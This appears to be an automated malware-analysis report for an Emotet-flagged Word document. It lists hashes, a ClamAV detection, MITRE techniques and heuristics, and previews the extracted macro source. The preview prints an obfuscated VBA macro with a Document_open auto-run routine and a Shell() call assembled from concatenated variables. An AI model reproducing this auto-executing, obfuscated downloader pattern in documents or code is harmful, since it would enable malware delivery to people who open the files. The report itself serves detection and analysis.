Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 86239e5cbe894daf…

MALICIOUS

Office (OLE)

338.5 KB Created: 2018-07-19 21:44:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 2fffaf794943650465e8021eb7bad3b1 SHA-1: 3cf4c5e80e6e952d005fa43e878527c1aaa0ef69 SHA-256: 86239e5cbe894daf7c76cda9a8bd0059b7704d60c09a7354f81a0f43d6c0ab2a
182 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample was detected as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6877383-0', indicating it is likely an Emotet downloader. Critical heuristics indicate the presence of a Shell() call within VBA macros, and a Document_Open macro, which are common techniques for executing malicious code upon opening the document. The VBA script is heavily obfuscated but its presence and the Shell() call strongly suggest it is designed to download and execute a secondary payload.

Heuristics 5

  • ClamAV: Doc.Downloader.Emotet-6877383-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6877383-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45200 bytes
SHA-256: c534ff4fc611c04067427abead556507f9b57e9635ae19e152723e61d58c7851
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "WRjHwGwUEKRjSH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function IbQIfOAoi()
On Error Resume Next
   wZYKfJ = (JMzwb * pkIom - (99791 / 34393 / (zRMOM + irrjrY - 27002 / 23854)))
   SKFQlR = (mrksj * jASMUw - (16339 / 22460 / (TiiRUQ + CKdGK - 42204 / 54084)))
   WhEaX = (iCtHfZ * tNVmV - (83518 / 42800 / (Tzwjoa + aoNYX - 22914 / 95422)))
   lZrAc = (NkjqQ * lYzkY - (28770 / 6410 / (ItiATc + tHBzv - 93487 / 33680)))
   OwDdbz = (VIAzPT * DqKDW - (55233 / 81798 / (iuiJk + JiRHX - 75797 / 35232)))
End Function
Private Function VJujLAzKzoQNnz()
On Error Resume Next
   IGIoI = (PiVGpf * sKCwr - (72910 / 59433 / (wFAMNf + JcnTCz - 28253 / 93518)))
   whlOX = (BoSvUR * LPlXK - (1704 / 16172 / (vvbYtT + dWdOa - 65484 / 89720)))
   jabwYu = (TsWcDR * EvUnBl - (19755 / 80753 / (LfLvRG + XQLsnj - 48840 / 18512)))
   jvrqqh = (TTdiq * TTXDl - (5414 / 10667 / (Bwtkq + nofTC - 5861 / 3085)))
End Function
Private Function vditGorMj()
On Error Resume Next
   ZapIYU = (umCcd * oBETf - (68112 / 77523 / (OGudW + uJwJF - 85469 / 74759)))
   zkcsI = (WzJam * PmLDMX - (90390 / 20428 / (uiBzK + ntXlVw - 78294 / 13068)))
   qftrG = (DkriWn * sUrhs - (7105 / 10012 / (twYjFm + QhbfcB - 42302 / 84613)))
   HYIji = (mMAcs * ElRmm - (86541 / 2211 / (NEJCl + uRRri - 67237 / 92306)))
End Function
Private Sub Document_open()
On Error Resume Next
   QZFFHU = (KkjbD * CnhhA - (70611 / 34226 / (HjQiwM + VQJNBh - 63062 / 5214)))
   wzzXOV = (NYzEY * fIpGd - (50311 / 77818 / (tiiPC + wqMAY - 48153 / 59494)))
   Bbtfm = (kDkYG * nbwaS - (13033 / 84604 / (SQIMw + WLzfz - 52150 / 60942)))
   bbWCfX = (OSuHR * RUXwF - (994 / 99049 / (BmVJB + zMwwRE - 7249 / 86481)))
Shell "" + PcslqmA + jkpiqwCJpp + CVar("c") + HKoUWOBc + dovVpBVsdiOq + cswjwIlL + bGuqMnz + ZcpTwPFLs + vUAlM + KYlhAjKN + JMiJUPDz + crAFlfN + jrjzlvmr + MuZOTtEpYk + jrzWaZRR + waaZUCLIj + JtZGAXqU + tbYJwrEjw + WVLJmc + aJiEDLCpCEl + kuCsJawrwGL + ZFSmuplTh, 0
   RVYbu = (hNnwzT * Rotdc - (67189 / 59253 / (qzckIn + mrMYX - 95952 / 95901)))
   lZGEYi = (mnTqYE * wsRQPs - (82452 / 14594 / (XZhokK + KDNSH - 68861 / 38193)))
End Sub
Private Function YzucFKz()
On Error Resume Next
   lPLLwD = (cBcsA * QzDtv - (99026 / 72870 / (LKMraG + jSBcpH - 6268 / 94624)))
   UPmMOT = (bLbbc * wiSBaE - (98995 / 37211 / (zcwib + KQMAT - 10539 / 52121)))
   jwrJQO = (UDiCwX * cskUw - (35498 / 17940 / (jrmRv + bJiXu - 35707 / 34782)))
   pDHSI = (DYRmKk * ilcRq - (37781 / 31787 / (XwTQs + viEEnz - 60595 / 90303)))
   SwlbG = (TKzVM * wGuFpN - (92387 / 97745 / (TKpPv + bjrZjh - 89463 / 56854)))
End Function
Private Function AXcTVil()
On Error Resume Next
   cpmScM = (wkZUa * zOtpm - (56284 / 16659 / (mCZjQ + GOpiJJ - 71752 / 9281)))
   KLHkSE = (TGtWT * khVbPq - (75214 / 25451 / (Lbvjvv + QXsjv - 61193 / 53069)))
   thiFZ = (OmVFw * iVOulX - (98562 / 62743 / (iJcIpW + nzEFzD - 41626 / 17904)))
   azudc = (NMSEoB * wHtMh - (44180 / 70631 / (nUmRpw + jBThma - 38454 / 97055)))
End Function
Private Function CosTAmNjHlY()
On Error Resume Next
   uGsZD = (voCjQ * YUFiQU - (90579 / 42575 / (wkfZH + AjNWUi - 13511 / 2096)))
   BWoPr = (sEzoo * SGwfh - (81112 / 55487 / (kHjqk + jOhhkm - 67009 / 93566)))
   JKCPf = (NaMwjf * iXzjS - (73523 / 88348 / (zfwmdX + EBTVq - 89412 / 42443)))
   tZonF = (bCUnC * ciYAB - (1009 / 97406 / (nTwmzo + hnwCP - 11292 / 24078)))
   zLdEfv = (sjCzFz * UdvAh - (49925 / 54770 / (pRHuP + lnBQr - 52341 / 6136)))
   NYztFi = (LDAwKn * QKWOM - (59845 / 11496 / (CNvWKf + oTMzK - 36303 / 89047)))
   jSslid = (IQvDL * jJshk - (42487 / 73222 / (jTHzPj + KcnVXW - 58122 / 88288)))
   HkPbaV = (rmwWbv * YvFTRa - (95992 / 50221 / (mXqNPA + BmMOE - 76543 / 17166)))
End Function


Attribute VB_Name = "oMINpwXi"
Private Function pSwoUSodjcU()
On Error Resume Next
   CUohV = 88683 + 39159 - ScEnj - UUjKY / pwjAit - 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.